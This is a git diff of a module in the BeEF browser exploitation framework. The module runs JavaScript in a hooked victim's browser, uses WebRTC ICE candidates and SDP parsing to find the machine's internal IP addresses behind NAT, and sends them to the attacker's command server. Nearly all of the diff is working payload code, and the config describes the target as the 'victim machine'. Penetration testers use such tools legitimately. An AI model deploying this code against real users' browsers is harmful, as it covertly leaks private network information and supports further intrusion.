diff --git a/modules/host/get_internal_ip_webrtc/command.js b/modules/host/get_internal_ip_webrtc/command.js index ffdcd3403..ebeaf9293 100755 --- a/modules/host/get_internal_ip_webrtc/command.js +++ b/modules/host/get_internal_ip_webrtc/command.js @@ -10,38 +10,42 @@ beef.execute(function() { if (RTCPeerConnection) (function () { - var addrs = Object.create(null); + var addrs = Object.create(null); addrs["0.0.0.0"] = false; - - // Establish a connection with ICE / relay servers - in this instance: NONE - var rtc = new RTCPeerConnection({iceServers:[]}); - if (window.mozRTCPeerConnection) { // FF needs a channel/stream to proceed - rtc.createDataChannel('', {reliable:false}); - }; - + + // Construct RTC peer connection + var servers = {iceServers:[]}; + var rtc = new RTCPeerConnection(servers); + rtc.createDataChannel('', {reliable:false}); + // Upon an ICE candidate being found // Grep the SDP data for IP address data rtc.onicecandidate = function (evt) { - if (evt.candidate){ - beef.debug("a="+evt.candidate.candidate); - grepSDP("a="+evt.candidate.candidate); - } + if (evt.candidate){ + beef.debug("a="+evt.candidate.candidate); + grepSDP("a="+evt.candidate.candidate); + } }; // Create an SDP offer rtc.createOffer(function (offerDesc) { grepSDP(offerDesc.sdp); rtc.setLocalDescription(offerDesc); - }, function (e) { beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed"); }); + }, function (e) { + beef.debug("SDP Offer Failed"); + beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed"); + }); + // Return results function processIPs(newAddr) { if (newAddr in addrs) return; else addrs[newAddr] = true; var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; }); - beef.debug("Found IPs: "+ displayAddrs.join(",")) + beef.debug("Found IPs: "+ displayAddrs.join(",")); beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(",")); } - + + // Retrieve IP addresses from SDP function grepSDP(sdp) { var hosts = []; sdp.split('\r\n').forEach(function (line) { // c.f. http://tools.ietf.org/html/rfc4566#page-39 diff --git a/modules/host/get_internal_ip_webrtc/config.yaml b/modules/host/get_internal_ip_webrtc/config.yaml index f0dc77703..68a95e0ac 100755 --- a/modules/host/get_internal_ip_webrtc/config.yaml +++ b/modules/host/get_internal_ip_webrtc/config.yaml @@ -9,7 +9,7 @@ beef: enable: true category: "Host" name: "Get Internal IP WebRTC" - description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from http://net.ipcalf.com/" + description: "Retrieve the internal (behind NAT) IP address of the victim machine using WebRTC Peer-to-Peer connection framework. Code from http://net.ipcalf.com/" authors: ["xntrik", "@natevw"] target: working: ["C", "FF"]